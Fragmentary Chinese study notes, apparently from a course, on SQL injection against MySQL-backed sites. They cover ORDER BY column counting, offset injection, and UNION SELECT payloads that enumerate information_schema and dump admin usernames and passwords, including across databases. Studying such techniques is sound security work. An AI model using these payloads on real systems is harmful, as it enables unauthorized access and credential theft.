sql注入必须要有可控的条件,比如id=1
第二种就是,没有参数的也可以
大概就有这三种情况
id有注入漏洞,就要写在ID后面
这就是数据库配置文件
order by 23是指23个
但是输入24就错误了,说明只有23个字段
根据url找到
、
找到product这个表
union是可以把前面和后面的同时执行
此时显示这个
都是字典查询
偏移注入
用*代替 这些数字,它会显示这些
这样就成功了
然后在去掉6个(看url)
然后查看页面源代码
如果还是说不行,那就在减6
例如
mysql注入
本地数据库有许多的数据库,一个数据库可能对应一个网站
数据库中有多个表
可以创建新的数据库,数据库有自己的用户,而root用户权限最高,其他的权限都比较低
里面存放所有的表名
所有的列名
所有的数据库名字
首先
让它爆出1,2
如果没办法爆出,可以加一个-减号
然后就像这样一个一个查
最后得到
然后我们知道它的版本是5.5.53,
ROOT类型攻击-猜解数据,文件读写,跨库查询
可以在url中输入
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'
information_schema.tables——指的是这个数据库中存放的所以的表
table_schema表示的是数据库名
table_name表示的是数据库所对应的表名
加入group_concat就可以显示全部
接着就是获取列名信息
获取表名sy_adminuser的列名信息: UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'
获取指定数据: UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
跨库注入:实现当前网站跨库查询其他数据库对应网站的数据
获取当前mysql下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
获取数据库名xhcms下的表名信息 UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'
获取数据库名xhcms下的表manage下的列名信息: UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='manage' and table_schema='xhcms'
获取指定数据: UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage(要加这个xhcms因为它现在处在的是这个数据库之中,然后manage处在的是xhcms之中,所以上面的可以直接进行访问,而下面的需要点名)
相对它进行注入,就需要对它进行解码,对自己第注入语句进行加密